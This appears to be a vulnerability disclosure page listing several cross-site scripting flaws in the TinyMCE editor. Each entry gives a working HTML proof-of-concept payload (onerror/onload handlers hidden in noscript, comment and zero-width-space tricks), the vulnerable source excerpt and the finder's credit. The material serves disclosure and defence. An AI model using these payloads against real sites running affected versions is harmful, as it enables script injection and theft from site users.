The world’s #1 JavaScript library for rich text editing. Available for React, Vue and Angular.
In case format: raw
is used with editor.setContent
the content is not sanitized. Otherwise, it uses DOMPurify.
<script src="https://cdnjs.cloudflare.com/ajax/libs/tinymce/7.9.1/tinymce.min.js"></script>
<script>
tinymce.init({
selector: "#editor",
plugins: "media",
toolbar: "undo redo | bold italic | alignleft aligncenter alignright | media",
menubar: false,
setup: function (editor) {
editor.on("init", function () {
// user input
editor.setContent("<img src=x onerror=alert(document.domain)>", {format: "raw"});
});
}
});
</script>
<textarea id="editor" name="content"></textarea>
Root Cause
const setContentString = (editor: Editor, body: HTMLElement, content: string, args: SetContentArgs): SetContentResult => {
// [...]
} else {
if (args.format !== 'raw') {
content = HtmlSerializer({ validate: false }, editor.schema).serialize(
editor.parser.parse(content, { isRootContent: true, insert: true })
);
}
const trimmedHtml = isWsPreserveElement(SugarElement.fromDom(body)) ? content : Tools.trim(content);
setEditorHtml(editor, trimmedHtml, args.no_selection);
return { content: trimmedHtml, html: trimmedHtml };
}
};
Related links:
The tinymce editor was was HTML entity decoding <noscript>
content.
<script src="https://cdnjs.cloudflare.com/ajax/libs/tinymce/7.1.2/tinymce.min.js"></script>
<script>
tinymce.init({
selector: "#editor",
plugins: "media",
toolbar: "undo redo | bold italic | alignleft aligncenter alignright | media",
menubar: false,
setup: function (editor) {
editor.on("init", function () {
// user input
editor.setContent("<noscript></noscript><style onload=alert(document.domain)></style></noscript>");
});
}
});
</script>
<textarea id="editor" name="content"></textarea>
Root Cause
htmlParser.addNodeFilter('noscript', (nodes) => {
let i = nodes.length;
while (i--) {
const node = nodes[i].firstChild;
if (node) {
node.value = Entities.decode(node.value ?? '');
}
}
});
Related links:
Found by Malav-MK.
The tinymce editor was replacing characters to null
after the HTML sanitization. For this to work, the undo button has to be pressed.
<script src="https://cdnjs.cloudflare.com/ajax/libs/tinymce/6.7.2/tinymce.min.js"></script>
<script>
tinymce.init({
selector: "#editor",
plugins: "media",
toolbar: "undo redo | bold italic | alignleft aligncenter alignright | media",
menubar: false,
});
</script>
<!-- user input -->
<!--<noscript><[U+FEFF]/noscript><[U+FEFF]iframe onload=alert(document.domain)></noscript>-->
<textarea id="editor">
<noscript></noscript><iframe onload=alert(document.domain)></noscript>
<h1>Steps to reproduce</h1>
1. Enter random text in this editor area<br/>
2. Undo -> XSS
</textarea>
Root Cause
const removeCommentsContainingZwsp = (body: HTMLElement): void => {
const walker = createCommentWalker(body);
let nextNode = walker.nextNode();
while (nextNode !== null) {
const comment = walker.currentNode as Comment;
nextNode = walker.nextNode();
if (Type.isString(comment.nodeValue) && comment.nodeValue.includes(Zwsp.ZWSP)) {
Remove.remove(SugarElement.fromDom(comment));
}
}
};
Related links:
Found by @kinugawamasato.
The tinymce editor was replacing characters to null
after the HTML sanitization. For this to work, the undo button has to be pressed.
<script src="https://cdnjs.cloudflare.com/ajax/libs/tinymce/6.7.0/tinymce.min.js"></script>
<script>
tinymce.init({
selector: "#editor",
plugins: "media",
toolbar: "undo redo | bold italic | alignleft aligncenter alignright | media",
menubar: false,
});
</script>
<!-- user input -->
<textarea id="editor">
<!--data-mce-selected="x"-><iframe onload=alert(document.domain)>-->
<h1>Steps to reproduce</h1>
1. Enter random text in this editor area<br/>
2. Undo -> XSS
</textarea>
<script src="https://cdnjs.cloudflare.com/ajax/libs/tinymce/6.7.0/tinymce.min.js"></script>
<script>
tinymce.init({
selector: "#editor",
plugins: "media",
toolbar: "undo redo | bold italic | alignleft aligncenter alignright | media",
menubar: false,
});
</script>
<!-- user input -->
<textarea id="editor">
<!--<br data-mce-bogus="all">-><iframe onload=alert(document.domain)>-->
<h1>Steps to reproduce</h1>
1. Enter random text in this editor area<br/>
2. Undo -> XSS
</textarea>
<script src="https://cdnjs.cloudflare.com/ajax/libs/tinymce/6.7.0/tinymce.min.js"></script>
<script>
tinymce.init({
selector: "#editor",
plugins: "media",
toolbar: "undo redo | bold italic | alignleft aligncenter alignright | media",
menubar: false,
});
</script>
<!-- user input -->
<!--[U+FEFF]-><iframe onload=alert(document.domain)>-->
<textarea id="editor">
<!---><iframe onload=alert(document.domain)>-->
<h1>Steps to reproduce</h1>
1. Enter random text in this editor area<br/>
2. Undo -> XSS
</textarea>
Root Cause (PoC #1)
const trimHtml = (tempAttrs: string[], html: string): string => {
const trimContentRegExp = new RegExp([
'\\s?(' + tempAttrs.join('|') + ')="[^"]+"' // Trim temporary data-mce prefixed attributes like data-mce-selected
].join('|'), 'gi');
return html.replace(trimContentRegExp, '');
};
Root Cause (PoC #2)
const trimInternal = (serializer: DomSerializer, html: string): string => {
// [...]
while ((matches = bogusAllRegExp.exec(content))) {
// [...]
content = content.substring(0, index - matchLength) + content.substring(endTagIndex);
bogusAllRegExp.lastIndex = index - matchLength;
}
// [...]
};
Root Cause (PoC #3)
const trimInternal = (serializer: DomSerializer, html: string): string => {
// [...]
return Zwsp.trim(content);
};
Related links:
Found by @kinugawamasato.